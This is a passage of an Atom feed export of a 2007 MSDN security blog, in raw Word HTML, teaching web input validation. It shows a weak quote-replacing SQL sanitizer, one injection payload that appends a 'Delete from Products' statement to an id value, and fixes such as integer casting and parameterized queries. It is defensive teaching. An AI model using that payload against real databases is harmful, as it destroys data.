&lt;P class=MsoListParagraph style="MARGIN: 15pt 15pt 15pt 0.75in; VERTICAL-ALIGN: top; TEXT-INDENT: -0.25in; LINE-HEIGHT: 140%; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;·&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;A href="http://msdn2.microsoft.com/en-us/library/Aa302416.aspx#strongnames_topic4"&gt;&lt;FONT face=Calibri color=#0000ff size=3&gt;http://msdn2.microsoft.com/en-us/library/Aa302416.aspx#strongnames_topic4&lt;/FONT&gt;&lt;/A&gt;&lt;U&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;/U&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 15pt 15pt 15pt 0.75in; VERTICAL-ALIGN: top; TEXT-INDENT: -0.25in; LINE-HEIGHT: 140%; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-IN&gt;&lt;U&gt;&lt;FONT face=Calibri size=3&gt;&lt;/FONT&gt;&lt;/U&gt;&lt;/SPAN&gt;&amp;nbsp;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 15pt 15pt 15pt 0.75in; VERTICAL-ALIGN: top; TEXT-INDENT: -0.25in; LINE-HEIGHT: 140%; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;Regards &amp;amp; Keep it Secure !!&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 15pt 15pt 15pt 0.75in; VERTICAL-ALIGN: top; TEXT-INDENT: -0.25in; LINE-HEIGHT: 140%; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;Anmol Malhotra &lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=7011025" width="1" height="1"&gt;</content><author><name>techjunkie</name><uri>http://blogs.msdn.com/members/techjunkie.aspx</uri></author><category term="Input Validation" scheme="http://blogs.msdn.com/hackers/archive/tags/Input+Validation/default.aspx" /></entry><entry><title>First Line of Defense for Web Applications – Part 5 </title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/hackers/archive/2007/12/16/first-line-of-defense-for-web-applications-part-5.aspx" /><id>http://blogs.msdn.com/hackers/archive/2007/12/16/first-line-of-defense-for-web-applications-part-5.aspx</id><published>2007-12-17T05:56:00Z</published><updated>2007-12-17T05:56:00Z</updated><content type="html">&lt;P&gt;&lt;FONT face=Calibri&gt;&lt;FONT size=3&gt;First of all folks,&amp;nbsp;my apologies for this delayed post. I have been&amp;nbsp;traveling and&amp;nbsp;busy doing a very&amp;nbsp;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT face=Calibri&gt;&lt;FONT size=3&gt; interesting Threat Modeling &lt;/FONT&gt;&lt;FONT size=3&gt;&lt;SPAN style="mso-bidi-font-family: Arial; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri"&gt;exercise&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT size=3&gt;.&amp;nbsp;But i am back &amp;amp; Lets cover some other validation bloopers -&lt;/FONT&gt;&lt;/FONT&gt; &lt;/P&gt;
&lt;H2 style="MARGIN: 10pt 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Cambria color=#4f81bd size=4&gt;SQL injection&lt;/FONT&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Cambria color=#4f81bd size=4&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/H2&gt;
&lt;P&gt;
&lt;TABLE class=MsoTableGrid style="BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none; BORDER-COLLAPSE: collapse; mso-border-alt: solid black .5pt; mso-border-themecolor: text1; mso-yfti-tbllook: 1184; mso-padding-alt: 0in 5.4pt 0in 5.4pt" cellSpacing=0 cellPadding=0 border=1 class="MsoTableGrid"&gt;
&lt;TBODY&gt;
&lt;TR style="mso-yfti-irow: 0; mso-yfti-firstrow: yes"&gt;
&lt;TD class="" style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: black 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: black 1pt solid; WIDTH: 231.05pt; PADDING-TOP: 0in; BORDER-BOTTOM: black 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid black .5pt; mso-border-themecolor: text1" vAlign=top width=308&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt; TEXT-ALIGN: justify"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;Weak Validation Examples&lt;?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD class="" style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: black 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: #f0f0f0; WIDTH: 231.05pt; PADDING-TOP: 0in; BORDER-BOTTOM: black 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid black .5pt; mso-border-themecolor: text1; mso-border-left-alt: solid black .5pt; mso-border-left-themecolor: text1" vAlign=top width=308&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt; TEXT-ALIGN: justify"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;Code Snippets&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR style="mso-yfti-irow: 1"&gt;
&lt;TD class="" style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: black 1pt solid; WIDTH: 231.05pt; PADDING-TOP: 0in; BORDER-BOTTOM: black 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid black .5pt; mso-border-themecolor: text1; mso-border-top-alt: solid black .5pt; mso-border-top-themecolor: text1" vAlign=top width=308&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt 0.25in; TEXT-INDENT: -0.25in; TEXT-ALIGN: justify; mso-list: l3 level1 lfo2"&gt;&lt;SPAN lang=EN-IN style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT face=Calibri size=3&gt;a)&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;Replacing single Quotes to double quotes&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD class="" style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: #f0f0f0; WIDTH: 231.05pt; PADDING-TOP: 0in; BORDER-BOTTOM: black 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid black .5pt; mso-border-themecolor: text1; mso-border-left-alt: solid black .5pt; mso-border-left-themecolor: text1; mso-border-top-alt: solid black .5pt; mso-border-top-themecolor: text1; mso-border-bottom-themecolor: text1; mso-border-right-themecolor: text1" vAlign=top width=308&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;Sample.aspx.cs &lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;catergoryID=Request.QueryString(id);&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;SqlCommand myCommand = new SqlCommand("SELECT&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;* FROM Products WHERE CategoryID = " + SanitizeSQL(categoryID) +", myConnection);&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;public static string SanitizeSQL(string strSQL)&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;SPAN style="mso-tab-count: 2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;{&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;Return ( &lt;SPAN style="BACKGROUND: yellow; mso-highlight: yellow"&gt;strSQL.Replace("'","''")&lt;/SPAN&gt; );&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;SPAN style="mso-tab-count: 2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;}&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR style="mso-yfti-irow: 2"&gt;
&lt;TD class="" style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: black 1pt solid; WIDTH: 231.05pt; PADDING-TOP: 0in; BORDER-BOTTOM: black 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid black .5pt; mso-border-themecolor: text1; mso-border-top-alt: solid black .5pt; mso-border-top-themecolor: text1" vAlign=top width=308&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;Exploit code to bypass this validation&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD class="" style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: #f0f0f0; WIDTH: 231.05pt; PADDING-TOP: 0in; BORDER-BOTTOM: black 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid black .5pt; mso-border-themecolor: text1; mso-border-left-alt: solid black .5pt; mso-border-left-themecolor: text1; mso-border-top-alt: solid black .5pt; mso-border-top-themecolor: text1; mso-border-bottom-themecolor: text1; mso-border-right-themecolor: text1" vAlign=top width=308&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;Validation function is assuming that the user will only enter single quote to SQL inject. But this is not the case. For example:&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-IN&gt;Unexpected :&lt;/SPAN&gt;&lt;/B&gt;&lt;SPAN lang=EN-IN&gt; 21; &lt;/SPAN&gt;&lt;SPAN style="mso-ansi-language: EN-US; mso-bidi-font-weight: bold"&gt;Delete from Products where ProductID = 102--&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR style="mso-yfti-irow: 3; mso-yfti-lastrow: yes"&gt;
&lt;TD class="" style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: black 1pt solid; WIDTH: 231.05pt; PADDING-TOP: 0in; BORDER-BOTTOM: black 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid black .5pt; mso-border-themecolor: text1; mso-border-top-alt: solid black .5pt; mso-border-top-themecolor: text1" vAlign=top width=308&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt; TEXT-ALIGN: justify"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;Recommendation&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD class="" style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: #f0f0f0; WIDTH: 231.05pt; PADDING-TOP: 0in; BORDER-BOTTOM: black 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid black .5pt; mso-border-themecolor: text1; mso-border-left-alt: solid black .5pt; mso-border-left-themecolor: text1; mso-border-top-alt: solid black .5pt; mso-border-top-themecolor: text1; mso-border-bottom-themecolor: text1; mso-border-right-themecolor: text1" vAlign=top width=308&gt;
&lt;OL style="MARGIN-TOP: 0in" type=1&gt;
&lt;LI class=MsoNormal style="MARGIN: 0in 0in 0pt; mso-list: l1 level1 lfo3; tab-stops: list .5in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;Whenever you are expecting an integer value, the best validation on this type of input is to type cast it and check if it is really an integer. If not, reject the input. Bottom line: &lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&lt;/SPAN&gt;if the input is of a primitive type, one can cast it. &lt;/FONT&gt;&lt;/SPAN&gt;&lt;/LI&gt;&lt;/OL&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;e.g &lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: 'MS Shell Dlg','sans-serif'; mso-bidi-language: TE"&gt;&lt;o:p&gt;&lt;FONT size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: 'MS Shell Dlg','sans-serif'; mso-bidi-language: TE"&gt;&lt;FONT size=3&gt;&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;int id;&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: 'MS Shell Dlg','sans-serif'; mso-bidi-language: TE"&gt;&lt;FONT size=3&gt;try&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: 'MS Shell Dlg','sans-serif'; mso-bidi-language: TE"&gt;&lt;FONT size=3&gt;&lt;SPAN style="mso-tab-count: 2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;{&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: 'MS Shell Dlg','sans-serif'; mso-bidi-language: TE"&gt;&lt;FONT size=3&gt;&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;id = &lt;SPAN style="BACKGROUND: yellow; mso-highlight: yellow"&gt;int.Parse(Request.Form(“userinput”));&lt;/SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: 'MS Shell Dlg','sans-serif'; mso-bidi-language: TE"&gt;&lt;FONT size=3&gt;&lt;SPAN style="mso-tab-count: 3"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: 'MS Shell Dlg','sans-serif'; mso-bidi-language: TE"&gt;&lt;FONT size=3&gt;&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;catch (Exception ex)&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: 'MS Shell Dlg','sans-serif'; mso-bidi-language: TE"&gt;&lt;FONT size=3&gt;&lt;SPAN style="mso-tab-count: 2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;{&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: 'MS Shell Dlg','sans-serif'; mso-bidi-language: TE"&gt;&lt;FONT size=3&gt;&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;return;&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: 'MS Shell Dlg','sans-serif'; mso-bidi-language: TE"&gt;&lt;FONT size=3&gt;&lt;SPAN style="mso-tab-count: 2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l1 level1 lfo3; tab-stops: list .5in"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-IN style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT face=Calibri size=3&gt;2.&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;Use parameterized SQL.&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/B&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Cambria color=#4f81bd size=4&gt;Active X Components&lt;/FONT&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&lt;FONT face=Cambria color=#4f81bd size=4&gt;&amp;nbsp; &lt;/FONT&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;
&lt;TABLE class=MsoTableGrid style="BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none; BORDER-COLLAPSE: collapse; mso-border-alt: solid black .5pt; mso-border-themecolor: text1; mso-yfti-tbllook: 1184; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-layout-alt: fixed" cellSpacing=0 cellPadding=0 border=1 class="MsoTableGrid"&gt;
&lt;TBODY&gt;
&lt;TR style="mso-yfti-irow: 0; mso-yfti-firstrow: yes"&gt;
&lt;TD class="" style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: black 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: black 1pt solid; WIDTH: 232.2pt; PADDING-TOP: 0in; BORDER-BOTTOM: black 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid black .5pt; mso-border-themecolor: text1" vAlign=top width=310&gt;
